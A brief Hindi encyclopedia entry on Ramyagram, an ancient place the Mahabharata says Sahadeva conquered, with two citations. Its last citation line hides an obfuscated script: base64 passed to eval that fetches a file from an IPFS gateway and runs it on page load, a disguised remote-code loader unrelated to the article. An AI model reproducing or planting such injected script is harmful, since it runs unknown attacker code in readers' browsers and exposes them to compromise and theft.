रम्यग्राम
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रम्यग्राम नामक एक प्राचीन स्थान का उल्लेख महाभारत में हुआ है-
'मारुधं च विनिर्जित्य रम्यग्राममथोबलात्।'[1]
- पाण्डव सहदेव ने अपनी दक्षिण भारत की विजय यात्रा में इस स्थान को विजित किया था।
- महाभारत के उपरोक्त संदर्भ से यह स्थान मालवा के क्षेत्र में जान पड़ता है।[2]
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टीका टिप्पणी और संदर्भ
- ↑ महाभारत 2, 31, 14
- ↑ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 778 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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